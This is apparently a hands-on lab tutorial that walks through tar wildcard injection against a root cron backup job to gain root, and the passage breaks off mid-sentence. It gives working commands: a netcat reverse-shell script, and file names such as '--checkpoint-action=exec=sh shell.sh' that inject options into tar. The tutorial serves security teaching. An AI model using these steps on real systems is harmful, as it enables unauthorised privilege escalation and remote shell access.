To understand how wildcard injection can lead to privilege escalation, we'll perform a hands-on exercise involving the tar command and crontab.
-
First, let's initialize the lab environment by running the following command:
Navigate to the /home/labex/project
directory:
cd /home/labex/project
Run the setup script to initialize the lab environment:
./env_setup.sh
After initialization, you'll be switched to the user001
user (simulating an attacker who has gained initial shell access).
-
Then, let's check the crontab for scheduled tasks:
cat /etc/crontab
Expected output:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *
You should see a task scheduled to run every minute, which archives the contents of the /var/www/html/
directory into a compressed file /var/backups/html.tgz
.
-
Next, let's take a look at the files inside the /var/www/html
directory:
ls /var/www/html
To exploit the wildcard injection vulnerability, we need to create the following three files in the /var/www/html/
directory.
First, navigate to the /var/www/html
directory:
cd /var/www/html/
-
shell.sh
with the content to execute a reverse shell:
echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
-
A file named --checkpoint-action=exec=sh shell.sh
(note the spaces in the filename):
echo "" > "--checkpoint-action=exec=sh shell.sh"
-
A file named --checkpoint=1
:
echo "" > --checkpoint=1
After creating these files, the /var/www/html/
directory should look like this:
'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
-
When the cron job executes the following command:
tar -zcf /var/backups/html.tgz /var/www/html/*
It will be interpreted as:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html
Here's what the parameters mean:
--checkpoint
and --checkpoint-action
are typically used together. The former sets a checkpoint, and the latter specifies the action to be taken when the checkpoint is reached.
--checkpoint-action=exec=sh shell.sh
means that when the checkpoint is reached, the shell.sh
script will be executed.
So, whenever the cron job runs, the shell.sh
script will be executed, which will reverse-shell /bin/bash
to the local port 4444.
-
Let's set up a listener on the local port 4444 in the current shell:
nc -lnvp 4444
After a short wait, when the cron job is executed, we should receive the reverse shell with root privileges:
Expected output:
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 56226
Try create a file success.txt
in the /root
directory to confirm that you have root privileges:
touch /root/success.txt
If you can create the file without any permission errors, you have successfully escalated your privileges using wildcard injection.
There are two important limitations to this tar + crontab privilege escalation technique: